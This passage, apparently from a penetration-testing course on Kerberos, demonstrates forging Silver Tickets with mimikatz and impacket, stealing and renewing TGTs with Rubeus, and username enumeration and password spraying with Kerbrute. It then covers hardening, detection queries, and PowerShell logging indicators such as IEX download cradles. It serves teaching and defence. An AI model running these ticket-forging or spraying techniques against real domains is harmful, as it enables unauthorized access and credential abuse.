Once a golden ticket is detected, the krbtgt account password must be changed twice to
remove the persistence, as the current and previous passwords are stored in the domain.
The password of the krbtgt account should be changed regularly, as it is an admin
account.
Next Section
We saw how we can craft a Golden Ticket using the krbtgt account after we compromised
a Domain controller. In the following sections, we will see how we can create a Silver ticket,
which can be used in a computer we compromised.
Silver Ticket
Every machine account has an NTLM hash; this is the hash of the computer, represented as
the SYSTEM$ account. This is the PSK (Pre-Shared Key) between the Domain and
Workstation which is used to sign TGS (Ticket Granting Service) Kerberos tickets. This ticket
is less powerful than the TGT (Golden Ticket), as it can only access that single machine.
However, when creating a TGT, the attacker needs to approach the Domain Controller to
have it generate a TGS ticket before they can access any machines. This creates a unique
audit record, which doesn't stand out as malicious, but heuristics can be applied to identify if
it is abnormal. When forging a TGS ticket, the attacker can bypass the Domain Controller
and go straight to the target, minimizing the number of logs left behind.
Theory
When a user requests a TGS ticket, they send their TGT to the Domain Controller. The
Domain Controller will find out which account exposes the SPN requested by the user. Then
it will copy the user's information (the PAC ) into the TGS ticket, which it will then encrypt with
the secret of the service account associated with the SPN.
Because the user does not know the secret of the service account, they cannot modify their
own information in the TGS ticket. But what happens if a user compromises a service
account and therefore can know its secret?
The attacker can forge a service ticket from scratch since they can create an arbitrary PAC
and encrypt it with the secret stolen. Once this TGS ticket is forged, the attacker presents it
to the service. The service can decrypt it because it has been encrypted with its own
password, and then it will read the contents of the PAC. As the attacker has forged it, they
can embed whatever information they desire, such as being a domain administrator. This
forged ticket is called a Silver Ticket .
To forge a Silver Ticket, an attacker requires the NTLM password's hash or keys for a
service or machine account, the SID of the domain, a target host, a service name (its SPN),
an arbitrary username, and group information. Silver tickets can be created for any existing
or non-existing user account.
The ticket can be forged using Mimikatz or impacket and then get injected into memory to
access a target service remotely. A Silver Ticket is a forged TGS ticket, so using one does
not require communication with the Domain Controller. Any associated event logs are
created on the target host. Therefore, Silver Tickets are more stealthy than Golden Tickets.
Windows
Different elements are needed to forge a Silver Ticket. First, we need the domain's SID. This
piece of information can be retrieved using PowerView's Get-DomainSID function.
S-1-5-21-2974783224-3764228556-2640795941
We also must have compromised a service account (one way or another) to get its NTLM
hash. We must also specify an SPN because a TGS ticket is always generated for one SPN
only. We can use mimikatz to forge a Silver Ticket when we have this information.
Let's say we compromised the SQL01$ account. We have its NTLM hash. We want to craft a
TGS ticket to access the SQL01 filesystem. We'll need a CIFS/SQL01 TGS ticket to do so.
PS C:\Tools> mimikatz.exe
<SNIP>
User : Administrator
Domain : inlanefreight.local (INLANEFREIGHT)
SID : S-1-5-21-2974783224-3764228556-2640795941
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: ff955e93a130f5bb1a6565f32b7dc127 - rc4_hmac_nt
Service : cifs
Target : sql01.inlanefreight.local
Lifetime : 8/17/2020 3:22:27 PM ; 8/15/2030 3:22:27 PM ; 8/15/2030
3:22:27 PM
-> Ticket : ` Pass The Ticket `
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
As we can see on the last line, the Silver Ticket has been created and submitted for the
current session. Mimikatz calls it a Golden Ticket, but it's a TGS ticket that was generated,
so it is a Silver Ticket. We can double-check this using the klist utility.
PS C:\Tools> klist
Now that we have a ticket to access the SQL01 filesystem, we can use the dir utility.
Directory: \\sql01.inlanefreight.local\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/27/2020 9:24 PM DB_backups
d----- 7/16/2016 9:23 AM PerfLogs
d-r--- 7/30/2020 9:59 PM Program Files
d----- 7/30/2020 9:59 PM Program Files (x86)
d----- 7/27/2020 9:03 PM StorageReports
d----- 8/14/2020 10:54 PM Tools
d-r--- 8/14/2020 7:06 AM Users
d----- 7/25/2020 8:20 PM Windows
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
mimikatz(commandline) # exit
Bye!
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
This Rubeus action createnetonly and the flag /show , will open the program we specify for
/program: , in this case, cmd.exe . That new window is our sacrificial process , as it
doesn't have the creds of our current user. We will import the sql01.kirbi ticket we forged
with mimikatz using this window as follows:
v2.2.2
C:\Windows\system32>hostname
SQL01
Next Section
We learned how to create a Silver ticket from Windows. In the next section, we will make the
same ticket from Linux.
Linux
On Linux, impacket can be used to craft a Silver Ticket . The tool lookupsid.py will
retrieve the domain's, groups', and users' SID.
Password:
[*] Brute forcing SIDs at dc01.inlanefreight.local
[*] StringBinding ncacn_np:dc01.inlanefreight.local[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2974783224-3764228556-2640795941
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\Administrator (SidTypeUser)
501: INLANEFREIGHT\Guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
503: INLANEFREIGHT\DefaultAccount (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
<SNIP>
Once we have the domain's SID, we can craft a Silver Ticket using ticketer.py.
The ticket has been forged and saved in the current Administrator.ccache directory. We
can now use this ticket by importing it in the KRB5CCNAME environment variable and using
any impacket tool with -k parameter.
Importing the Ticket and using it
export KRB5CCNAME=./Administrator.ccache
smbclient.py -k -no-pass sql01.inlanefreight.local
ADMIN$
C$
DB_backups
IPC$
# use C$
# ls
And since the SPN is in clear text and can be modified on the fly, impacket can do it for us
and get us a remote shell on the compromised system.
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass sql01.inlanefreight.local
C:\Windows\system32>whoami
nt authority\system
Detection
Silver Tickets are more limited when compared to Golden Tickets because their scope is
only for the service that is being targeted on a specific host. However, they can be utilized to
remain stealthier. Silver Tickets can be used for persistence when used to access computer-
hosted services. Since computer account password rotation may be disabled, and AD does
not prevent computer accounts from accessing resources, this type of Silver Ticket could
likely be used for a very long time.
Next Section
We will provide more detection strategies in the following sections. We will focus on how to
abuse those tickets and perform the Pass the Ticket attack.
Pass-the-Ticket
Sacrificial Processes
This is the most crucial concept to understand regarding Kerberos Attacks, as failure to
create a Sacrificial Process can result in taking a service down. This is because it is
very easy to overwrite an existing Logon Sessions Kerberos Ticket. If the local machine
account ( SYSTEM$ ) loses its Kerberos ticket, it will likely not get another one until a reboot. If
a service loses its ticket, it won't get a new one until the service restarts or sometimes a
machine reboot.
A sacrificial process creates a new Logon Session and passes tickets to that session.
This does require administrative rights to the machine and will create additional IOCs
(Indicators of Compromise) that could be alerted upon. However, causing an outage during
an engagement is much worse than getting caught due to safely doing things.
The Rubeus action createnetonly creates a sacrifical process , and the future
commands will use the /LUID:0xdeadbeef to interact with it.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
To authenticate to remove services with this ticket, we need to inject into the ProcessID,
because we are not using a command and control, we used the option /show , which shows
the process we just created. It will not show the process if we don't specify /show .
Reading Tickets
You can check all the tickets you can read and extract using the triage action in Rubeus.
Rubeus triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
-------------------------------------------------------------------------
----------------------------------------------
| LUID | UserName | Service
| EndTime |
-------------------------------------------------------------------------
----------------------------------------------
| 0x17168 | SQL01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL
| 8/24/2020 1:38:16 PM |
| 0x17168 | SQL01$ @ INLANEFREIGHT.LOCAL |
LDAP/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/23/2020 8:23:24 AM
|
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL
| 8/24/2020 12:53:21 PM |
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL |
ldap/dc01.inlanefreight.local/INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM
|
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL |
GC/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM
|
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01.INLANEFREIGHT.LOCAL
| 8/24/2020 12:53:21 PM |
| 0x89275d | pixis @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL
| 8/24/2020 7:44:20 PM |
| 0x89275d | pixis @ INLANEFREIGHT.LOCAL | cifs/dc01
| 8/24/2020 7:44:20 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL
| 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01
| 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL |
cifs/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM
|
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | SQL01$
| 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL |
LDAP/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM
|
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | ldap/dc01.inlanefreight.local
| 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL |
ldap/DC02.LOGISTICS.INLANEFREIGHT.LOCAL | 8/23/2020 8:23:20 AM
|
-------------------------------------------------------------------------
----------------------------------------------
Our current LUID (Logon UID) is 0x892730 , but no tickets are associated with our session.
We can use klist to make sure of this.
PS C:\Tools> klist
Using Rubeus, we can extract the TGT of pixis . It's the ticket for [email protected] ,
and with the krbtgt/INLANEFREIGHT.LOCAL service (TGT is encrypted using krbtgt's
secret key).
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
Username : pixis
Domain : INLANEFREIGHT
LogonId : 0x89275d
UserSID : S-1-5-21-2974783224-3764228556-2640795941-2123
AuthenticationPackage : Negotiate
LogonType : RemoteInteractive
LogonTime : 8/24/2020 9:43:48 AM
LogonServer : DC01
LogonServerDNSDomain : INLANEFREIGHT.LOCAL
UserPrincipalName : [email protected]
ServiceName : krbtgt/INLANEFREIGHT.LOCAL
ServiceRealm : INLANEFREIGHT.LOCAL
UserName : pixis
UserRealm : INLANEFREIGHT.LOCAL
StartTime : 8/24/2020 9:44:20 AM
EndTime : 8/24/2020 7:44:20 PM
RenewTill : 8/31/2020 9:44:20 AM
Flags : name_canonicalize, pre_authent, initial,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : TzjL1PVv40EmE/AwhpjXSIjMDkQnymOrusUAVvtGsYA=
Base64EncodedTicket :
doIGSzCCBkegAwIBBaEDAgEWooIFMzCCBS9hggUrMIIFJ6ADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUlHSFQuTE9DQUyjggTdMIIE
2aADAgESoQMCAQKiggTLBIIEx07UF/WIqYSqAExzUjlz/Ybkc9DqSQMptQ9JV+0q2F9UBJ7sO6
TD06qbUDKoQXyMbH/zaWWqGOdP+35hah9HMVApilMjiLiRINensH8lzvcHdT/GrnrS330vDadC
sYZIS0nQhXqz4PaPTjwNe7+aoY3W7DbUV1E9xvrjlGLq/IO/5HqdG3zV0wcT+V8itav7DnEPpZ
lygkctKX8h1pTdjqJqwKsL/DCXocVlZWgSp4y8ipg4osmXuehYF237JTFcgJHeTqMIqWbN1AeH
yiDhSBmQzX72JoEN24pvIe628wJ7uqcWjpxHlsdNCHSJBwe4/O2kOqlum/Hc+oa20UTdbG8aQu
WLVH0S92qpf2aiMJyANIS+a+fxvzrlzIX99saLKa9O2qzTj7/6sJ/7VoemMfy6Vef0iFv7mWEb
mfvVUPeMDN4t++bl/Pdud2AxdreMpC3c2ml1bxgFjfit2KlnQph6goeNrA2hfZ3YNoplpR5Tok
fMXNjSiP7jlytmIPX9jDczP/F+NNyTo2TF+YrKIK+OuUBZZLmLtn21hfcUq3P9lYKIKShqsdzI
3qPteAa7l6+vY7KNABFNdgBvLQjaLuLkHx32JHDOPFk0H0zP0DZR3D428mOnT8c7nV6Rk13OnC
xkcKlxO41oxJ3Q2+3pjcvHpOvxL+R8vjlYmBVKrFUXlWRDmKe9hxKPzUmEmXn/rk9Zuq6Bj+7f
PwMScKt1gobNX0W1i7L7KyZ9FOOAlFlg7Y3WY1yKco5rrpj/lACUo9Gbvz41YUB0OAxzKWbxnZ
dH1tRe0RAqY9wTJFidLgTSfX2r040y75287OAgDJhVBNHb/PsLpms3kY1Ps7KZpyg6ACBW878l
xI/wLciMSXy2G9gQK8dvjB2HLgmCfIXkrKD5LU6VuygoW6wjgsfLEOaI89JTwFOVVdNlvHEj1e
uffx+simhC1FVFXLJvuq89psRyoFKXDiK/gs9fJcfHlVh0+4ZG7KcB9npqoYrjeoO9QDLFCfVo
0HeRgpwjZ1wBckOoabNUTwvrJHP+uiDKafMjGA5SGwjOeFfxyTFqI0nP6vkNyBj0kO/IeY8nbI
wfY+5pvPUJUFvRLpf/wPn8o0tJ5OLbTupU/OoPdUaozO+jVjKloWwaIJfHFYEitARjU3+FVrz+
H8BYOS2hZJUKyKQnGiLY6nvre8BKNQfJxzPfZ4zN1VVo5YZz0pipMg8Xwe7YHQWJiNm1LbQUCW
Itn95BgP8ueH58gRA5JKLKFxWmpX7kU16kNOq5k/O<SNIP>
We can then use Rubeus to ask for a new valid TGT using the one we just extracted with the
following little trick: We will utilize the renewal functionality of Kerberos by providing our TGT,
and we'll receive a brand new one for the same user.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
doIFVjCCBVKgAwIBBaEDAgEWooIESTCCBEVhggRBMIIEPaADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9D<SNIP>
Rerun klist to confirm that the ticket for the target user is now in our current session.
Now that we have this TGT in memory, we can perform any action on behalf of the
impersonated user pixis . For example, we can read a Domain Controller's file system
because pixis is a domain administrator.
Directory: \\dc01\c$
Under the hood, Windows used our TGT to request a TGS ticket for the following SPN
cifs/dc01 .
In the next section, we will discuss enumeration and password spraying using Kerberos.
This AS-REQ request is how the Kerbrute tool performs username enumeration and
password spraying.
Bruteforcing Windows usernames and passwords with Kerberos is very fast and potentially
stealthier than other methods since pre-authentication failures do not trigger that "traditional"
An account failed to log on event 4625 . With Kerberos, you can validate a username
or test a login by only sending one UDP frame to the KDC (Domain Controller).
Kerbrute Install
To install Kerbrute, we need to download the binary from kerbrute releases, select the latest
one for Linux kerbrute_linux_amd64 , and change its privileges to be executable.
Testing kerbrute
mv ~/Downloads/kerbrute_linux_amd64 kerbrute
chmod +x ./kerbrute
./kerbrute
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to
target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will
always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as
locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
User Enumeration
To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the
KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if
the KDC prompts for pre-authentication, we know the username exists and move on. This
does not cause logon failures, so it will not lock out any accounts. This generates a Windows
event ID 4768 if Kerberos logging is enabled. For this to work, we must provide the tool with
a list of usernames, the domain controller's IP or hostname, and the domain.
Username Enumeration
kerbrute userenum users.txt --dc dc01.inlanefreight.local -d
inlanefreight.local
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
In this example, we provided Kerbrute with a list of 117 usernames, and 8 of them were
valid. They were all checked in 0.347s, which is very fast.
Password spraying
With passwordspray , Kerbrute will perform a horizontal brute force attack against a list of
domain users. This is useful for testing one or two common passwords when you have a
large list of users. This does increment the failed login count and can lock out accounts.
This will generate both event IDs 4768 - A Kerberos authentication ticket (TGT) was
requested , and 4771 - Kerberos pre-authentication failed .
Password Spraying
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
In this case, we provided Kerbrute with a list of 117 usernames and the password
inlanefreight2020 . It was valid for two of them.
Next Section
Now that we understand how to perform different attacks against Kerberos, we will explore
different options for detecting these attacks and things we can do to prevent them or
minimize their impact on our organizations.
Hardening/Mitigations
We can harden our environment using many techniques to protect against Kerberos-related
attacks. Below are some steps that we can take to mitigate the risk of the attacks discussed
in the prior sections.
AS-REP Roasting
AS-REP Roasting takes advantage of accounts with Kerberos pre-authentication
disabled, allowing attackers to acquire TGTs for them. To harden against the
ASReproasting attack, we can:
AS-REP Hardening
Mitigation
Don't set users with Kerberos pre-authentication disabled. Some service accounts may
require it (older protocols), but enable pre-authentication for all accounts where possible.
Ensure the use of strong encryption algorithms with Kerberos. Move away from RC4.
Protect and monitor Service Accounts with strong passwords and watch logs for unusual
activity from these accounts (access files or resources not commonly utilized).
Carole Rose
Amber Smith
Above, we have an example PowerShell script that can help us validate if any accounts have
pre-authentication disabled. Once accounts have been identified, we can use Active
Directory Users and Computers to enable pre-authentication. Select the user we wish to
investigate and then go to the Account tab. From there, look in the Account options scroll box
for the line Do not require Kerberos preauthentication . If this box is checked,
uncheck it.
Setting Pre-authentication
Kerberoasting
With Kerberoasting not requiring prior authentication with a domain controller, it is a
favored attack path for offline brute forcing of ticket hashes to acquire passwords. The main
goal is to use those passwords for lateral movement , privilege escalation , and
persistence during an attack. Tools such as Impacket , Mimikatz , PowerSploit , and
more all have some ability to Kerberoast or acquire Service Principal Names . If an
attacker obtains a Kerberos's KRBTGT , the incident response procedures for fixing the issue
and pushing out an attacker are complicated and can easily break domain services. So with
that in mind, it is essential to take these hardening actions to ensure you mitigate the attack
as much as possible.
Kerberoasting
Using long and complex passwords for your service accounts is critical. A more complex
password will make cracking exponentially harder.
Utilize Group Managed Service Accounts to maintain and secure your services. GMSA
will handle password management and rotation for those services. Password rotation will
happen every 30 days by default.
Limiting the privileges of service accounts. ( not placing service accounts in domain
administrators, for example )
Rotate the KRBTGT service account password at least every 180 days. This action can
invalidate any previous tickets acquired and in use by attackers.
The command above can show us how to find the details for our krbtgt service account.
Below, the output shows us when the password was last set as the value for the
PasswordLastSet property.
KRBTGT's Info
We can follow the fix actions stated HERE to reset the password regularly or do it from
Active Directory Users and Computers . Remember, if you reset the password for IR
purposes, ten hours must elapse between the first and second reset. Two resets are
required to invalidate the previous Kerberos password and to stop potential malicious use.
Ensure you force replication between the resets. We can also use New-KrbtgtKeys.ps1 from
Microsoft to "reset the krbtgt account password while minimizing the likelihood of Kerberos
authentication issues being caused by the operation".
Delegation Abuse
With three types of delegation existing in environments utilizing Kerberos, there are several
different abuse scenarios. Unconstrained Delegation was the only option available for a
while (between Server 2000 - Server 2003) and still exists in modern operating systems
today for legacy reasons. Issues with a delegation made it possible for an attacker to abuse
a user account who was not in the Protected Users group and did not have their account
marked sensitive, allowing anyone with control over that server or service to use the
authenticated user's TGT to request access as the user to any other resource.
To fix this issue, Constrained Delegation was introduced with Server 2003. Constrained
delegation was implemented to limit what a resource or service could do with those tickets. It
is not infallible, however. If Constrained delegation is not implemented correctly, attackers
can still perform the same tactics and attacks as with Unconstrained Delegation. Placing
users in the Protected Users group and enabling the setting Account is sensitive and
cannot be delegate can harden against abuse.
The image below shows the Protected Users security group (green arrow), which we
should add accounts to in order to prevent delegation abuse. At the red arrow , we show
the account option to enable an account as sensitive . Check the box and apply the
change.
To help us harden our environments and prevent abuse of these users and services, we can
take the following actions:
Mitigations
Mitigations
Silver Ticket
Silver Tickets or Service tickets aren't as versatile as a Golden Tickets , but they can
still be helpful to an attacker. With control of a Silver Ticket , one could create their own
ticket-granting service tickets to access a specific resource or host. Detecting the misuse of
Silver Tickets is much harder since they do not require communication with a Key
Distribution Center. Forging Silver Tickets is also trivial to accomplish with the Mimikatz
Kerberos module.
Mitigations
PTT Mitigations
Mitigations
Other quick wins include having and enforcing a strong password policy and even two-factor
authentication. On a larger picture, having a baseline of the processes and applications that
run on your hosts can go a long way when monitoring for changes or looking for potential
intrusions. How can we spot the bad if we don't know what the good looks like? Keep these
things in mind when thinking of how to fix an issue. Sometimes simple solutions are the best.
Next Section
The following section will discuss some detection opportunities against Kerberos attacks.
Detection
We have spent most of the module explaining Kerberos attacks, and now it's time to switch it
up and talk about how to detect the attacks and techniques we have been practicing. The
goal of this section is to provide insight into detecting Kerberos abuse. Even with well-
configured central logging (ex: Splunk / Elastic / Graylog ), detecting Kerberos Ticket
abuse can be incredibly tough due to:
Issue Reasoning
Detecting automated tools such as Rubeu s and other forms of Kerberos abuse is possible if
we watch for a few events and take proactive measures.
Set A Baseline
Ensuring we have a baseline of what hosts belong on the network and a common baseline
of the ongoing activity is a great place to start. Feeding logs from our hosts to include the
logging of PowerShell to a central management point will make detecting an intrusion much
easier. It will be quicker to spot trends in the data this way. Manually searching logs,
especially for Kerberos ticket requests, can mean sifting through tens of thousands of logs
daily in larger environments. Using a baseline and tuning search filters for unique events can
be a great way to detect domain security compromises.
The first easy marker we can filter out of our checks is any requests from accounts ending in
$ . These accounts are computer accounts, managed service accounts, or other trusts
where Windows manages the account and generates strong passwords. Our abuse
instances will show up in the logs a bit differently.
You can generally trust any requests from an account ending in $. These are from the
computer, GMSA, or trusts where Windows will automatically generate a long password.
Event Codes
Watching the below event codes for anomalies can help us quickly detect issues within our
environment.
Also, when looking at the requests, one could check the event for a data structure that looks
like this:
Security ID : DOMAIN\AccountID
Account Name : AccountID
Account Domain : DOMAIN
The logon structure will have some issues with Kerberoasting, specifically Golden and
Silver Ticket attacks. This could be something as small as the Account Domain filed is
blank, containing the FQDN of the domain instead of the short name, or containing
*.*.kiwi: . The forged data could appear as so:
Security ID : DOMAIN\AccountID
Account Name : AccountID will not match the security ID of the account.
Account Domain : testdomain.kerberoasted.org or just blank.
With Silver Tickets, we will see these logs on the host that was accessed, while Golden
Tickets will be logged directly on the domain controller.
A sample query for Kerberoasting events would look something like this:
Event ID '4769'
Service Name not equal to 'krbtgt'
Service Name does not end with '$'
Account Name does not match '<MachineName>$@<Domain>’
Failure Code is ‘0x0’
Ticket Encryption Type is ‘0x17’ (RC4-hmacw)
Ticket Options: '0x40810000'
Defenders should know what accounts are vulnerable, and adding a honeypot account can
be a great way to detect an attacker. If appropriately done, placing a strong password-
protected honeypot account and watching for its use and the weak RC4 cipher alongside
those vulnerable accounts can alert us that an attacker is in the environment. If RC4 was
disabled, the attacker would perform Kerberoasting with AES, lowering the likelihood of the
password being cracked and reducing the defender's chance of identifying the attacker. With
proper monitoring, security flaws are sometimes a good thing.
Powershell Logging
Log PowerShell activity
Monitor the following PowerShell log event ids: 400 & 800
Monitor the following PowerShell Operational log event ids: 4100 , 4103 , 4104
PowerShell logging can be enabled via Group Policy for PowerShell modules:
Administrative Templates
Windows Components
Windows PowerShell
or
User Configuration
Administrative Templates
Windows Components
Windows PowerShell
Enable the object "Turn on Module Logging" (highlighted in the image below) at
minimum. The more you configure, the more details you will receive.
Once you have the setting on, you can define which modules and cmd-lets you wish to log
specifically. For more information on how to enable and configure PowerShell logging, see
HERE
Here is a quick list of PowerShell capabilities and command-lets that can be logged:
Remote Powershell Remote Powershell is a rarity and should only be used by your
Attempts administrators. A user remotely invoking PowerShell on another
host is suspicious.
.Net Framework Utilizing .net such as "((New-Object
downloads Net.WebClient).DownloadString)" is a common way for
attackers to pull down tools.
Use of Invoke- Invoke-Expression will take a string or variable and interprets it
Expression or "iex" to run.
Encoded Commands -enc, -E, Encoded are all examples of derivatives that could be
used to encode a command in PowerShell, obscuring it from
view.
Invoke-Mimikatz A call string for the Mimikatz tool. Any sign of this is bad.
Invoke- This calls a script from PowerSploit to enumerate the Logon
TokenManipulation Tokens on a host and use them to create new processes.
Invoke- Creates a Logon with clear-text credentials without triggering
CredentialInjection: alerts for Event 4648. Often used in tandem with
TokenManipulation.
FromBase64String & A way to base 64 encode command strings to hide them from
Base64 plain view. PowerShell can utilize the FromBase64String cmd-
let to de-obfuscate the code.
Hidden Windows -W, win, window, -WindowStyle Hidden. These will hide any
PowerShell window that opens from the user's view.
Execution Policy Anytime the execution policy is changed to something such as
Changes bypass, running scripts that are not trusted is being attempted.
Activity Type Description
System.Reflection This string will appear in many logs after Mimikatz has run on a
host. It's a good indicator of bad.
Here is a good example of utilizing many options to obfuscate and pull down a payload onto
a host.
Suspicious Options
This shows a common way of using the Invoke-Expression ( IEX ) cmd-let, which calls the
.Net Web Client download functionality to download code from GitHub (in this case, the
Invoke-Kerberoast script from the Empire Project ) and executes it.
There are many ways to utilize PowerShell as a viable attack surface on a host, especially
within a Domain. Adding the Windows Subsystem for Linux widens the attack surface for
attackers.
As defenders, we must stay vigilant and constantly update our tools and tactics to watch for
new techniques and tools by attackers and threat agents.
Skills Assessment
You have reached the end of the module. Congratulations! It's time to test the knowledge
you've acquired.
Scenario
Inlanefreight , a company that delivers customized global freight solutions, contacted you
because it needs your penetration testing expertise. Their website inlanefreight.com will
allow you to learn more about them.
You will connect via RDP to the target machine, and from there, start enumerating and
attacking the 172.16.8.0/24 network.
Reconnaissance Phase
After some OSINT (Open Source Intelligence) searches, you collected the names of people
in this company from several platforms, inlcuding LinkedIn, GitHub, Twitter, and Facebook.
Download the usersSA.zip file containing the usernames list and try to use it to gain a
foothold in the network to eventually access the Secret Share share.
Note: Make sure to configure the /etc/hosts with the target IP and the domain name
dc01.inlanefreight.local